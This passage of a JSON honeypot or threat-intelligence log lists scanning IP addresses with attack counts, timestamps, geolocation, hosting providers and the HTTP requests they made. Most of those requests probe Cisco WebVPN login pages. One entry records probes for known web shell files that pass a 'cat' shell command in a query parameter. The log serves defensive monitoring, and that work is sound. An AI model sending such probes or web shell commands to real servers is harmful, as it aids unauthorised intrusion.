      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "193.202.11.58": {
      "attack_count": 66,
      "first_seen": "2026-05-31T00:45:49.382Z",
      "last_seen": "2026-05-31T05:20:00.801Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Israel",
      "country_code": "IL",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "146.70.172.134": {
      "attack_count": 36,
      "first_seen": "2026-05-02T07:10:57.299Z",
      "last_seen": "2026-05-30T15:34:29.631Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "153.80.156.90": {
      "attack_count": 35,
      "first_seen": "2026-05-27T07:25:29.451Z",
      "last_seen": "2026-05-30T15:22:47.444Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Woods Cross",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "146.70.171.97": {
      "attack_count": 30,
      "first_seen": "2026-05-05T11:30:38.598Z",
      "last_seen": "2026-05-30T03:37:07.920Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "172.120.141.16": {
      "attack_count": 28,
      "first_seen": "2026-05-29T07:47:00.141Z",
      "last_seen": "2026-05-30T06:38:30.801Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.45.169": {
      "attack_count": 28,
      "first_seen": "2026-05-26T09:11:09.190Z",
      "last_seen": "2026-05-31T01:18:54.999Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.81.29": {
      "attack_count": 28,
      "first_seen": "2026-05-27T16:05:58.147Z",
      "last_seen": "2026-05-30T14:29:52.693Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "186.243.237.30": {
      "attack_count": 28,
      "first_seen": "2026-05-27T20:17:46.946Z",
      "last_seen": "2026-05-31T04:21:28.007Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.73.39": {
      "attack_count": 27,
      "first_seen": "2026-05-06T01:11:01.541Z",
      "last_seen": "2026-05-29T01:12:01.029Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "148.153.56.170": {
      "attack_count": 26,
      "first_seen": "2026-05-25T05:01:10.763Z",
      "last_seen": "2026-05-25T05:02:59.504Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon_custom.css HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/portal.css HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /llms.txt HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63199,
      "as_org": "CDS Global Cloud Co., Ltd"
    },
    "43.132.207.18": {
      "attack_count": 26,
      "first_seen": "2026-05-20T09:38:00.902Z",
      "last_seen": "2026-05-25T18:39:02.283Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/common.js HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/home/index.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/login.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/logout.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/save_capture.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/sdesktop/logout.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader64.cab HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/MacTunnelStart.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/csco_logo.gif HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/info.jpg HTTP/1.1\" 404 -",
        "\"GET /CSCOSSLC/cvcconfig HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue"
    },
    "23.234.102.207": {
      "attack_count": 24,
      "first_seen": "2026-05-02T05:19:14.241Z",
      "last_seen": "2026-05-29T09:17:48.133Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.79": {
      "attack_count": 24,
      "first_seen": "2026-05-08T14:50:52.341Z",
      "last_seen": "2026-05-25T19:38:07.236Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.251.27.80": {
      "attack_count": 21,
      "first_seen": "2026-05-10T01:58:34.001Z",
      "last_seen": "2026-05-30T05:58:46.952Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "141.133.4.41": {
      "attack_count": 21,
      "first_seen": "2026-05-28T00:03:32.215Z",
      "last_seen": "2026-05-30T09:50:39.700Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Paw Paw",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.207.173": {
      "attack_count": 21,
      "first_seen": "2026-05-29T08:02:53.969Z",
      "last_seen": "2026-05-30T02:40:34.415Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.42.21": {
      "attack_count": 21,
      "first_seen": "2026-05-27T02:49:50.568Z",
      "last_seen": "2026-05-30T06:04:40.656Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "185.156.46.163": {
      "attack_count": 21,
      "first_seen": "2026-05-02T07:22:44.211Z",
      "last_seen": "2026-05-29T14:50:04.190Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "193.36.231.108": {
      "attack_count": 21,
      "first_seen": "2026-05-26T05:02:27.997Z",
      "last_seen": "2026-05-29T16:40:19.642Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Weaver",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.94.68": {
      "attack_count": 21,
      "first_seen": "2026-05-06T03:15:45.092Z",
      "last_seen": "2026-05-30T15:18:56.894Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "149.40.50.119": {
      "attack_count": 18,
      "first_seen": "2026-05-02T08:11:18.415Z",
      "last_seen": "2026-05-30T04:48:26.745Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "173.249.254.203": {
      "attack_count": 18,
      "first_seen": "2026-05-14T00:48:35.516Z",
      "last_seen": "2026-05-30T10:57:18.389Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.105.207": {
      "attack_count": 18,
      "first_seen": "2026-05-03T03:54:13.319Z",
      "last_seen": "2026-05-25T14:16:50.214Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.164": {
      "attack_count": 18,
      "first_seen": "2026-05-02T05:16:43.803Z",
      "last_seen": "2026-05-27T00:50:42.103Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.206": {
      "attack_count": 18,
      "first_seen": "2026-05-02T06:16:20.646Z",
      "last_seen": "2026-05-22T15:35:20.824Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.162": {
      "attack_count": 18,
      "first_seen": "2026-05-04T16:20:23.113Z",
      "last_seen": "2026-05-08T05:00:48.829Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.92.1.136": {
      "attack_count": 17,
      "first_seen": "2026-05-24T01:20:14.536Z",
      "last_seen": "2026-05-24T01:23:06.081Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /_asterisk/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
        "\"GET /_asterisk/sos.php? HTTP/1.1\" 404 -",
        "\"GET /_asterisk/tika.php?ery HTTP/1.1\" 404 -",
        "\"GET /admin/assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/vmblast/ajax.php HTTP/1.1\" 404 -",
        "\"GET /admin/xml.php?ser HTTP/1.1\" 404 -",
        "\"GET /assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/b374k-2.8.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/badr2.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/load.php? HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/xml.php?jhf HTTP/1.1\" 404 -",
        "\"GET /xml.php?vcd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Lelystad",
      "asn": 210558,
      "as_org": "1337 Services GmbH"
    },
    "165.154.182.207": {
      "attack_count": 16,
      "first_seen": "2026-05-25T18:27:57.841Z",
      "last_seen": "2026-05-25T18:28:45.264Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "173.249.255.76": {
      "attack_count": 15,
      "first_seen": "2026-05-11T12:09:35.414Z",
      "last_seen": "2026-05-31T01:16:26.208Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.213.193.73": {
      "attack_count": 15,
      "first_seen": "2026-05-25T15:13:23.289Z",
      "last_seen": "2026-05-30T06:17:22.104Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.234.96.203": {
      "attack_count": 15,
      "first_seen": "2026-05-08T20:22:27.983Z",
      "last_seen": "2026-05-31T03:49:32.288Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.76": {
      "attack_count": 15,
      "first_seen": "2026-05-04T15:31:13.984Z",
      "last_seen": "2026-05-30T14:16:44.713Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.138": {
      "attack_count": 15,
      "first_seen": "2026-05-10T04:21:15.447Z",
      "last_seen": "2026-05-30T12:27:53.540Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "135.106.94.158": {
      "attack_count": 14,
      "first_seen": "2026-05-26T10:38:27.584Z",
      "last_seen": "2026-05-31T04:49:25.614Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Evanston",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "136.234.239.51": {
      "attack_count": 14,
      "first_seen": "2026-05-29T04:35:54.763Z",
      "last_seen": "2026-05-29T22:33:18.965Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "138.249.239.127": {
      "attack_count": 14,
      "first_seen": "2026-05-27T02:46:27.453Z",
      "last_seen": "2026-05-29T23:12:26.805Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.236.63": {
      "attack_count": 14,
      "first_seen": "2026-05-26T08:16:09.949Z",
      "last_seen": "2026-05-27T21:36:28.622Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "156.233.1.150": {
      "attack_count": 14,
      "first_seen": "2026-05-26T15:39:19.008Z",
      "last_seen": "2026-05-27T11:16:39.859Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.155.65": {
      "attack_count": 14,
      "first_seen": "2026-05-29T19:52:11.323Z",
      "last_seen": "2026-05-31T02:33:30.701Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "186.243.194.37": {
      "attack_count": 14,
      "first_seen": "2026-05-26T05:26:01.703Z",
      "last_seen": "2026-05-27T19:36:04.546Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Colden",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.177.24.112": {
      "attack_count": 14,
      "first_seen": "2026-05-29T01:40:11.489Z",
      "last_seen": "2026-05-30T06:08:43.487Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "193.228.131.54": {
      "attack_count": 14,
      "first_seen": "2026-05-29T07:36:35.681Z",
      "last_seen": "2026-05-29T11:37:10.074Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.8.75.136": {
      "attack_count": 14,
      "first_seen": "2026-05-26T11:36:24.347Z",
      "last_seen": "2026-05-29T05:16:27.237Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "31.222.247.139": {
      "attack_count": 14,
      "first_seen": "2026-05-27T23:38:23.825Z",
      "last_seen": "2026-05-30T12:54:42.552Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Wrightstown",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.159.126.43": {
      "attack_count": 14,
      "first_seen": "2026-05-27T16:23:48.963Z",
      "last_seen": "2026-05-27T17:24:41.014Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
